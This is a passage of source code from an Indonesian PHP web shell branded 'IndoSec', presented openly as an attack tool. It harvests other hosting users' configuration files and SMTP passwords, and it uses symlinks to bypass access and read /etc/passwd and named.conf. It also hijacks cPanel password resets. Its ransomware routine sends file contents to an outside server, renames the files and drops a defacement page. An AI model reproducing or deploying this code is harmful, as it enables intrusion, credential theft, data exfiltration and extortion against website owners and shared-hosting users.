"/home/$user_con/public_html/supportes/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/support/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/hosting/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/cart/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/order/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/client/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/clients/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/cliente/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/clientes/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/billing/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/billings/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/my/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/secure/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/support/order/includes/iso4217.php" => "Hostbills" ]; foreach($grab_config as $config => $nama_config) { $ambil_config = file_get_contents($config); if($ambil_config == '') { } else { $file_config = fopen("indosec_config/$user_con-$nama_config.txt","w"); fputs($file_config,$ambil_config); } } } } } } echo "<center><a href='?dir=$path/indosec_config'><font color=lime>Done</font></a></center>"; exit; } /* Adminer */ if($_GET['aksi'] == 'adminer') { $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $path); function adminer($url, $isi) { $fp = fopen($isi, "w"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FILE, $fp); return curl_exec($ch); curl_close($ch); fclose($fp); ob_flush(); flush(); } if(file_exists('adminer.php')) { echo "<center><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center><br/>"; } else { if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) { echo "<center><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center><br/>"; } else { echo "<center><font color=red>gagal buat file adminer</font></center><br/>"; } } exit; } /* Symlink */ if($_GET['aksi'] == 'symlink') { if(!is_file('named.txt')){ $d00m = @file("/etc/named.conf"); }else{ $d00m = @file("named.txt"); } if(!$d00m) { die ("[ <a href='?dir=$path&aksi=symread'>Bypass Read</a> ] [ <a href='?dir=$path&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir=$path&aksi=sym_bypas'>Symlink Bypass</a> ]<br/><font color='red'>Error tidak dapat membaca /etc/named.conf</font><br/><br/>"); } else{ echo "[ <a href='?dir=$path&aksi=symread'>Bypass Read</a> ] [ <a href='?dir=$path&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir=$path&aksi=sym_bypas'>Symlink Bypass</a> ]<div class='tmp'> <table align='center' width='100%'> <thead class='bg-info'> <th>Domains</th> <th>Users</th> <th>symlink </th> </thead>"; foreach($d00m as $dom){ if(eregi("zone",$dom)){ preg_match_all('#zone "(.*)"#', $dom, $domsws); flush(); if(strlen(trim($domsws[1][0])) > 2){ $user = posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0])); flush(); $site = $user['name'] ; @symlink("/","sym/root"); $site = $domsws[1][0]; $ir = 'ir'; $il = 'il'; if (preg_match("/.^$ir/",$domsws[1][0]) or preg_match("/.^$il/",$domsws[1][0]) ) { $site = ".$domsws[1][0]."; } echo " <tr> <td> <a target='_blank' href=http://www.".$domsws[1][0]."/>".$site." </a> </td> <td> ".$user['name']." </td> <td> <a href='sym/root/home/".$user['name']."/public_html' target='_blank'>Symlink</a> </td> </tr>"; flush(); flush(); } } } echo "</table> </div><br/>"; } exit; } if($_GET['aksi'] == 'symread') { echo "read /etc/named.conf"; echo "<form method='post' action='?dir=$dir&aksi=symread&save=1'> <textarea class='form-control' rows='8' name='file'>"; flush(); flush(); $file = '/etc/named.conf'; $r3ad = @fopen($file, 'r'); if ($r3ad){ $content = @fread($r3ad, @filesize($file)); echo "".htmlentities($content).""; }else if (!$r3ad) { $r3ad = @show_source($file) ; }else if (!$r3ad) { $r3ad = @highlight_file($file); }else if (!$r3ad) { $sm = @symlink($file,'sym.txt'); if ($sm){ $r3ad = @fopen('sym/sym.txt', 'r'); $content = @fread($r3ad, @filesize($file)); echo "".htmlentities($content).""; } } echo "</textarea><br/><input type='submit' class='btn btn-danger form-control' value='Save'/> </form>"; if(isset($_GET['save'])){ $cont = stripcslashes($_POST['file']); $f = fopen('named.txt','w'); $w = fwrite($f,$cont); if($w){ echo '<br/>save has been successfully'; } fclose($f); } exit; } if ($_GET['aksi'] == 'sym_404'){ echo '<h2>Symlink 404</h2> <form method="post"> File Target: <input type="text" class="form-control" name="dir" value="/home/user/public_html/wp-config.php"><br> Save As: <input type="text" class="form-control" name="isi" placeholder="[Ex] file.txt"/><br/> <input type="submit" class="btn btn-danger btn-block" value="Execute" name="execute"/> </form>'; if($_POST['execute']){ rmdir("indosec_sym404"); mkdir("indosec_sym404", 0777); $dir = $_POST['dir']; $isi = $_POST['isi']; system("ln -s ".$dir."indosec_sym404/".$isi); symlink($dir,"indosec_sym404/".$isi); $inija = fopen("indosec_sym404/.htaccess", "w"); fwrite($inija,"ReadmeName ".$isi."\nOptions Indexes FollowSymLinks\nDirectoryIndex ids.html\nAddType text/plain .php\nAddHandler text/plain .php\nSatisfy Any"); echo'<a href="/indosec_sym404/" target="_blank"> >>Sukses<< </a>'; } exit; } if ($_GET['aksi'] == 'sym_bypas'){ if(isset($_GET['save']) and isset($_POST['file']) or @filesize('passwd.txt') > 0){ $cont = stripcslashes($_POST['file']); if(!file_exists('passwd.txt')){ $f = @fopen('passwd.txt','w'); $w = @fwrite($f,$cont); fclose($f); } if($w or @filesize('passwd.txt') > 0){ echo "<div class='tmp mb-4'> <table width='100%'> <thead class='bg-info text-center'> <th>Users</th> <th>symlink</th> <th>FTP</th> </thead>"; flush(); $fil3 = file('passwd.txt'); foreach ($fil3 as $f){ $u=explode(':', $f); $user = $u['0']; echo "<tr class='text-dark'> <td class='text-left pl-1'>$user</td> <td> <a href='sym/root/home/$user/public_html' target='_blank'>Symlink </a> </td> <td> <a href='$pageFTP/sym/root/home/$user/public_html' target='_blank'>FTP</a> </td> </tr>"; flush(); flush(); } die ("</tr></table></div>"); } } echo "read /etc/passwd"; echo "<br/><form method='post' action='?dir=$dir&aksi=sym_bypas&save=1'> <textarea class='form-control' rows='8' name='file'>"; flush(); $file = '/etc/passwd'; $r3ad = @fopen($file, 'r'); if ($r3ad){ $content = @fread($r3ad, @filesize($file)); echo "".htmlentities($content).""; }elseif(!$r3ad) { $r3ad = @show_source($file) ; }elseif(!$r3ad) { $r3ad = @highlight_file($file); }elseif(!$r3ad) { for($uid=0;$uid<1000;$uid++){ $ara = posix_getpwuid($uid); if (!empty($ara)) { while (list ($key, $val) = each($ara)){ print "$val:"; } print "\n"; } } } flush(); echo "</textarea><br/> <input type='submit' class='btn btn-danger btn-block' value='Symlink'/><br/> </form>"; flush(); exit; } if ($_GET['aksi'] == 'resetpasscp') { echo '<br/><h5 class="text-center"><i class="fa fa-key"></i> Auto Reset Password Cpanel</h5> <form method="POST"> <div class="form-group"> <input type="email" name="email" class="form-control" placeholder="Masukan Email..."/><br/> <input type="submit" name="submit" class="btn btn-danger btn-block" value="Send"/> </div> </form>'; if(isset($_POST['submit'])){ $user = get_current_user(); $site = $_SERVER['HTTP_HOST']; $ips = getenv('REMOTE_ADDR'); $email = $_POST['email']; $wr = 'email:'.$email; $f = fopen('/home/'.$user.'/.cpanel/contactinfo', 'w'); fwrite($f, $wr); fclose($f); $f = fopen('/home/'.$user.'/.contactinfo', 'w'); fwrite($f, $wr); fclose($f); $parm = $site.':2082/resetpass?start=1'; echo '<br/>Url: '.$parm.''; echo '<br/>Username: '.$user.''; echo '<br/>Success Reset To: '.$email.'<br/><br/>'; } exit; } if ($_GET['aksi'] == 'ransom') { echo '<form method="post"> <div class="form-group"> <label>Directory Yang Ingin diencrypt</label> <input type="text" name="path" class="form-control mb-2" value="'.$dir.'"> <input type="submit" name="encrypt" class="btn btn-danger btn-block" value="Encrypt"/> </div> </form>'; if(isset($_POST["encrypt"])) { $dir = $_POST["path"]; echo"<textarea class='form-control mb-4' rows='10' disabled=''>"; function listFolderFiles($dir){ if (is_dir($dir)) { $ffs = scandir($dir); unset($ffs[array_search('.', $ffs, true)]); unset($ffs[array_search('..', $ffs, true)]); if (count($ffs) < 1) return; foreach($ffs as $ff){ $files = $dir."/".$ff; if(!is_dir($files)){ /* encrypt file */ $file = file_get_contents($files); $_a = base64_encode($file); /* proses curl */ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'http://encrypt.indsc.me/api.php?type=encrypt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "text=$_a"); $x = json_decode(curl_exec($ch)); if($x->status == 'success'){ $_enc = base64_decode($x->data); rename($files, $files. ".indsc"); echo "[+]$files => Success Encrypted\n"; } } if(is_dir($dir.'/'.$ff)) listFolderFiles($dir.'/'.$ff); } $index = file_get_contents('https://pastebin.com/raw/aGZ6BeTH'); $_o = fopen($dir."/index.html", "w"); fwrite($_o, $index); fclose($_o); echo "\n[+] Done !"; }else{ echo "\nBukan dir"; } } listFolderFiles($dir); echo "</textarea><br/>"; } exit; } if ($_GET['aksi'] == 'smtpgrab') { function scj($path) { $paths = scandir($path); foreach($paths as $pathb) { if(!is_file("$path/$pathb")) continue; $ambil = file_get_contents("$path/$pathb"); $ambil = str_replace("$", "", $ambil); if(preg_match("/JConfig|joomla/", $ambil)) { $smtp_host = ambilkata($ambil,"smtphost = '","'"); $smtp_auth = ambilkata($ambil,"smtpauth = '","'"); $smtp_user = ambilkata($ambil,"smtpuser = '","'"); $smtp_pass = ambilkata($ambil,"smtppass = '","'"); $smtp_port = ambilkata($ambil,"smtpport = '","'"); $smtp_secure = ambilkata($ambil,"smtpsecure = '","'"); echo "<table class='text-white table table-bordered'> <tr> <td>SMTP Host: $smtp_host</td> </tr> <tr> <td>SMTP Port: $smtp_port</td> </tr> <tr> <td>SMTP User: $smtp_user</td> </tr> <tr> <td>SMTP Pass: $smtp_pass</td> </tr> <tr> <td>SMTP Auth: $smtp_auth</td> </tr> <tr> <td>SMTP Secure: $smtp_secure</td> </tr> </table>"; } } } echo "<p class='text-muted'>NB : Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/namafolder_config )</p>"; $smtp = scj($path); exit; } if ($_GET['aksi'] == 'bypascf') { echo '<form method="POST"><br> <div class="form-group input-group"> <select class="form-control" name="idsPilih"> <option>Pilih Metode</option> <option>ftp</option> <option>direct-conntect</option> <option>Webmail</option> <option>Cpanel</option> </select> </div> <div class="form-group input-group"> <input class="form-control" type="text" name="target" placeholder="Masukan Url"> <input class="btn btn-danger form-control" type="submit" value="Bypass"> </div><br> </form>'; $target = $_POST['target']; # Bypass From FTP if($_POST['idsPilih'] == "ftp") { $ftp = gethostbyname("ftp."."$target"); echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$ftp</font></p>"; } # Bypass From Direct-Connect if($_POST['idsPilih'] == "direct-conntect") { $direct = gethostbyname("direct-connect."."$target"); echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$direct</font></p>"; } # Bypass From Webmail if($_POST['idsPilih'] == "webmail") { $web = gethostbyname("webmail."."$target"); echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$web</font></p>"; } # Bypass From Cpanel if($_POST['idsPilih'] == "cpanel") { $cpanel = gethostbyname("cpanel."."$target"); echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$cpanel</font></p>"; } exit; } if(isset($_GET['path'])){ $path = $_GET['path']; chdir($path); }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); echo "<br/>Path : "; foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '<a class="link" href="?dir=/">/</a>'; continue; } if($pat == '') continue; echo '<a class="link" href="?dir='; for($i=0;$i<=$id;$i++){ echo "$paths[$i]"; if($i != $id) echo "/"; } echo '">'.$pat.'</a>/'; } $scandir = scandir($path); echo " [ ".w($dir, perms($dir))." ]"; echo '<center><div id="tab"><table class="text-white mt-1 table-hover table-responsive"> <thead class="bg-info text-center"> <th class="text-left">File/Folder</th> <th>Size</th> <th>Permission</th> <th>Action</th> </thead>'; foreach($scandir as $dir){ /* cek jika ini berbentuk folder */ /* cek jika nama folder karaker terlalu panjang */ if (strlen($dir) > 18) { $_dir = substr($dir, 0, 18)."..."; }else{ $_dir = $dir; } if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue; echo '<tr> <td class="text-white"><img src="http://aux.iconspalace.com/uploads/folder-icon-256-1787672482.png" class="ico"></img> <a href="?dir='.$path.'/'.$dir.'">'.$_dir.'</a></td> <td class="text-white"><center>--</center></td> <td class="text-white"><center>'; if(is_writable($path.'/'.$dir)) echo '<font color="#00ff00">'; elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">'; echo perms($path.'/'.$dir); if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font></center></td> <td class=""><center><a title="Rename" class="badge badge-success" href="?dir='.$path.'/'.$dir.'&aksi=rename_folder"> <i class="fas fa-pen"></i> </a> <a title="Delete" class="badge badge-danger" href="?dir='.$path.'/'.$dir.'&aksi=hapus_folder"> <i class="fa fa-trash"></i> </a> </td> '; } foreach($scandir as $file){ /* cek jika ini berbentuk file */ if(!is_file($path.'/'.$file)) continue; $size = filesize($path.'/'.$file)/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; }else{ $size = $size.' KB'; } echo '<tr> <td><img src="'; /* set image berdasarkan extensi file */ $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if($ext == "php") { echo 'https://image.flaticon.com/icons/png/128/337/337947.png"'; }elseif ($ext == "html") { echo 'https://image.flaticon.com/icons/png/128/136/136528.png"'; }elseif ($ext == "css") { echo 'https://image.flaticon.com/icons/png/128/136/136527.png"'; }elseif ($ext == "png") { echo 'https://image.flaticon.com/icons/png/128/136/136523.png"'; }elseif ($ext == "jpg") { echo 'https://image.flaticon.com/icons/png/128/136/136524.png"'; }elseif ($ext == "jpeg") { echo 'http://i.imgur.com/e8mkvPf.png"'; }elseif($ext == "zip") { echo 'https://image.flaticon.com/icons/png/128/136/136544.png"'; }elseif ($ext == "js") { echo 'https://image.flaticon.com/icons/png/128/1126/1126856.png'; }elseif ($ext == "ttf") { echo 'https://image.flaticon.com/icons/png/128/1126/1126892.png'; }elseif ($ext == "otf") { echo 'https://image.flaticon.com/icons/png/128/1126/1126891.png'; }elseif ($ext == "txt") { echo 'https://image.flaticon.com/icons/png/128/136/136538.png'; }elseif ($ext == "ico") { echo 'https://image.flaticon.com/icons/png/128/1126/1126873.png'; }elseif ($ext == "conf") { echo 'https://image.flaticon.com/icons/png/512/1573/1573301.png'; }elseif ($ext == "htaccess") { echo 'https://image.flaticon.com/icons/png/128/1720/1720444.png'; }elseif ($ext == "sh") { echo 'https://image.flaticon.com/icons/png/128/617/617535.png'; }elseif ($ext == "py") { echo 'https://image.flaticon.com/icons/png/128/180/180867.png'; }elseif ($ext == "indsc") { echo 'https://image.flaticon.com/icons/png/512/1265/1265511.png'; }elseif ($ext == "sql") { echo 'https://img.icons8.com/ultraviolet/2x/data-configuration.png'; }elseif ($ext == "pl") { echo 'http://i.imgur.com/PnmX8H9.png'; }elseif ($ext == "pdf") { echo 'https://image.flaticon.com/icons/png/128/136/136522.png'; }elseif ($ext == "mp4") { echo 'https://image.flaticon.com/icons/png/128/136/136545.png'; }elseif ($ext == "mp3") { echo 'https://image.flaticon.com/icons/png/128/136/136548.png'; }elseif ($ext == "git") { echo 'https://image.flaticon.com/icons/png/128/617/617509.png'; }elseif ($ext == "md") { echo 'https://image.flaticon.com/icons/png/128/617/617520.png'; }else{ echo 'http://icons.iconarchive.com/icons/zhoolego/material/256/Filetype-Docs-icon.png'; } echo '" class="ico2"></img>'; /* cek jika karaker terlalu panjang */ if (strlen($file) > 25) { $_file = substr($file, 0, 25)."...-.".$ext; }else{ $_file = $file; } echo' <a href="?dir='.$path.'&aksi=view&file='.$path.'/'.$file.'">'.$_file.'</a></td> <td class="text-center d-flex">'.$size.'</td> <td><center>'; if(is_writable($path.'/'.$file)) echo '<font color="#00ff00">'; elseif(!is_readable($path.'/'.$file)) echo '<font color="red">'; echo perms($path.'/'.$file); if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font> <td class="text-center d-flex"> <a title="Lihat" class="badge badge-info" href="?dir='.$path.'&aksi=view&file='.$path.'/'.$file.'"> <i class="fa fa-eye"></i> </a> <a title="Edit" class="badge badge-success" href="?dir='.$path.'&aksi=edit&file='.$path.'/'.$file.'"> <i class="far fa-edit"></i> </a> <a title="Rename" class="badge badge-success" href="?dir='.$path.'&aksi=rename&file='.$path.'/'.$file.'"> <i class="fa fa-pencil"></i> </a> <a class="badge badge-danger" href="?dir='.$path.'&aksi=hapusf&file='.$path.'/'.$file.'" title="Delete"> <i class="fa fa-trash"></i> </a> <a class="badge badge-primary" href="?&dir='.$path.'&aksi=download&file='.$path.'/'.$file.'" title="Download"> <i class="fa fa-download"></i> </a> </td> </tr>'; } echo '</table></div><hr/><a href="https://facebook.com/IndoSecOfficial" class="text-muted">Copyright 2019 { IndoSec }</a></center><br/>'; echo "<a href='#' class='scrollToTop'><i class='fa fa-arrow-up up' aria-hidden='true'></i></a>"; /* End */ ?>
Close